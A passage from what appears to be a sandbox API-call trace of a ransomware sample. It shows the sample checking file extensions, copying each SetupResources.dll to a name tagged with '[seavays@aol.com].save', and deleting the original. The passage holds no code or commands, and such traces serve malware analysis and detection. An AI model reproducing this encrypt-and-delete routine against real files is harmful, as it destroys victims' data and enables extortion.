lstrlenW (lpString=".zip") returned 4 [0050.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.864] lstrlenW (lpString=".rar") returned 4 [0050.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.864] lstrlenW (lpString=".bz2") returned 4 [0050.864] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.864] lstrlenW (lpString=".7z") returned 3 [0050.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.864] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.864] lstrlenW (lpString=".dbf") returned 4 [0050.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.865] lstrlenW (lpString=".1cd") returned 4 [0050.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0050.865] lstrlenW (lpString=".jpg") returned 4 [0050.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.865] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.865] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.865] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.865] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=18264) returned 1 [0050.865] CloseHandle (hObject=0x2f8) returned 1 [0050.865] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0050.865] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.865] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.865] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.865] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.866] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.867] GetLastError () returned 0x0 [0050.867] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4758, lpOverlapped=0x0) returned 1 [0050.868] WriteFile (in: hFile=0x2f0, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4760, lpOverlapped=0x0) returned 1 [0050.870] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0050.870] WriteFile (in: hFile=0x2f0, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.870] SetEndOfFile (hFile=0x2f0) returned 1 [0050.870] CloseHandle (hObject=0x2f0) returned 1 [0050.871] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.871] SetEndOfFile (hFile=0x2f8) returned 1 [0050.872] CloseHandle (hObject=0x2f8) returned 1 [0050.872] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.872] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0050.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.872] lstrlenW (lpString=".doc") returned 4 [0050.872] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.872] lstrlenW (lpString=".docx") returned 5 [0050.872] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.872] lstrlenW (lpString=".pdf") returned 4 [0050.872] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.872] lstrlenW (lpString=".xls") returned 4 [0050.872] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.872] lstrlenW (lpString=".xlsx") returned 5 [0050.872] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.873] lstrlenW (lpString=".ppt") returned 4 [0050.873] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.873] lstrlenW (lpString=".zip") returned 4 [0050.873] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.873] lstrlenW (lpString=".rar") returned 4 [0050.873] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.873] lstrlenW (lpString=".bz2") returned 4 [0050.873] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.873] lstrlenW (lpString=".7z") returned 3 [0050.873] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.873] lstrlenW (lpString=".dbf") returned 4 [0050.873] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.873] lstrlenW (lpString=".1cd") returned 4 [0050.873] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.873] lstrlenW (lpString=".jpg") returned 4 [0050.873] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.873] lstrlenW (lpString=".doc") returned 4 [0050.873] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.873] lstrlenW (lpString=".docx") returned 5 [0050.873] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.873] lstrlenW (lpString=".pdf") returned 4 [0050.873] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.873] lstrlenW (lpString=".xls") returned 4 [0050.873] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.873] lstrlenW (lpString=".xlsx") returned 5 [0050.873] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.873] lstrlenW (lpString=".ppt") returned 4 [0050.873] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.873] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.874] lstrlenW (lpString=".zip") returned 4 [0050.874] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.874] lstrlenW (lpString=".rar") returned 4 [0050.874] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.874] lstrlenW (lpString=".bz2") returned 4 [0050.874] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.874] lstrlenW (lpString=".7z") returned 3 [0050.874] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.874] lstrlenW (lpString=".dbf") returned 4 [0050.874] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.874] lstrlenW (lpString=".1cd") returned 4 [0050.874] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0050.874] lstrlenW (lpString=".jpg") returned 4 [0050.874] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.874] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.874] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.874] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.874] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=18776) returned 1 [0050.874] CloseHandle (hObject=0x2f8) returned 1 [0050.874] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0050.875] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.875] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0050.875] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.875] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.875] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0050.887] GetLastError () returned 0x0 [0050.887] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4958, lpOverlapped=0x0) returned 1 [0051.984] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4960, lpOverlapped=0x0) returned 1 [0051.986] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0051.986] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.986] SetEndOfFile (hFile=0x2e8) returned 1 [0051.986] CloseHandle (hObject=0x2e8) returned 1 [0051.987] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.987] SetEndOfFile (hFile=0x2f8) returned 1 [0051.988] CloseHandle (hObject=0x2f8) returned 1 [0051.988] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.989] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0051.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.989] lstrlenW (lpString=".doc") returned 4 [0051.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.989] lstrlenW (lpString=".docx") returned 5 [0051.989] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.989] lstrlenW (lpString=".pdf") returned 4 [0051.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.989] lstrlenW (lpString=".xls") returned 4 [0051.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.989] lstrlenW (lpString=".xlsx") returned 5 [0051.989] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.989] lstrlenW (lpString=".ppt") returned 4 [0051.989] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.989] lstrlenW (lpString=".zip") returned 4 [0051.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.990] lstrlenW (lpString=".rar") returned 4 [0051.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.990] lstrlenW (lpString=".bz2") returned 4 [0051.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.990] lstrlenW (lpString=".7z") returned 3 [0051.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.990] lstrlenW (lpString=".dbf") returned 4 [0051.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.990] lstrlenW (lpString=".1cd") returned 4 [0051.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.990] lstrlenW (lpString=".jpg") returned 4 [0051.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.990] lstrlenW (lpString=".doc") returned 4 [0051.990] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.990] lstrlenW (lpString=".docx") returned 5 [0051.990] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.990] lstrlenW (lpString=".pdf") returned 4 [0051.990] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.990] lstrlenW (lpString=".xls") returned 4 [0051.990] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.990] lstrlenW (lpString=".xlsx") returned 5 [0051.990] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.990] lstrlenW (lpString=".ppt") returned 4 [0051.990] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.990] lstrlenW (lpString=".zip") returned 4 [0051.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.991] lstrlenW (lpString=".rar") returned 4 [0051.991] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.991] lstrlenW (lpString=".bz2") returned 4 [0051.991] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.991] lstrlenW (lpString=".7z") returned 3 [0051.991] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.991] lstrlenW (lpString=".dbf") returned 4 [0051.991] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.991] lstrlenW (lpString=".1cd") returned 4 [0051.991] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0051.991] lstrlenW (lpString=".jpg") returned 4 [0051.991] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.991] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.991] lstrlenW (lpString="SetupResources.dll") returned 18 [0051.991] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0051.991] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=18776) returned 1 [0051.991] CloseHandle (hObject=0x2f8) returned 1 [0051.991] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0051.992] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0051.992] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.992] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0051.995] GetLastError () returned 0x0 [0051.995] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4958, lpOverlapped=0x0) returned 1 [0051.997] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4960, lpOverlapped=0x0) returned 1 [0051.998] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0051.998] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.998] SetEndOfFile (hFile=0x2e8) returned 1 [0051.998] CloseHandle (hObject=0x2e8) returned 1 [0051.999] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.999] SetEndOfFile (hFile=0x2f8) returned 1 [0052.000] CloseHandle (hObject=0x2f8) returned 1 [0052.000] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.000] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0052.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.001] lstrlenW (lpString=".doc") returned 4 [0052.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.001] lstrlenW (lpString=".docx") returned 5 [0052.001] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.001] lstrlenW (lpString=".pdf") returned 4 [0052.001] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.001] lstrlenW (lpString=".xls") returned 4 [0052.001] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.001] lstrlenW (lpString=".xlsx") returned 5 [0052.001] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.001] lstrlenW (lpString=".ppt") returned 4 [0052.001] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.001] lstrlenW (lpString=".zip") returned 4 [0052.001] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.001] lstrlenW (lpString=".rar") returned 4 [0052.001] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.001] lstrlenW (lpString=".bz2") returned 4 [0052.001] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.001] lstrlenW (lpString=".7z") returned 3 [0052.001] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.001] lstrlenW (lpString=".dbf") returned 4 [0052.001] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.001] lstrlenW (lpString=".1cd") returned 4 [0052.001] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.002] lstrlenW (lpString=".jpg") returned 4 [0052.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.002] lstrlenW (lpString=".doc") returned 4 [0052.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.002] lstrlenW (lpString=".docx") returned 5 [0052.002] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.002] lstrlenW (lpString=".pdf") returned 4 [0052.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.002] lstrlenW (lpString=".xls") returned 4 [0052.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.002] lstrlenW (lpString=".xlsx") returned 5 [0052.002] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.002] lstrlenW (lpString=".ppt") returned 4 [0052.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.002] lstrlenW (lpString=".zip") returned 4 [0052.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.002] lstrlenW (lpString=".rar") returned 4 [0052.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.002] lstrlenW (lpString=".bz2") returned 4 [0052.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.002] lstrlenW (lpString=".7z") returned 3 [0052.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.002] lstrlenW (lpString=".dbf") returned 4 [0052.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.002] lstrlenW (lpString=".1cd") returned 4 [0052.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0052.003] lstrlenW (lpString=".jpg") returned 4 [0052.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.003] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0052.003] lstrlenW (lpString="SetupResources.dll") returned 18 [0052.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.003] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=14168) returned 1 [0052.003] CloseHandle (hObject=0x2f8) returned 1 [0052.003] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0052.003] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.003] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.003] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: 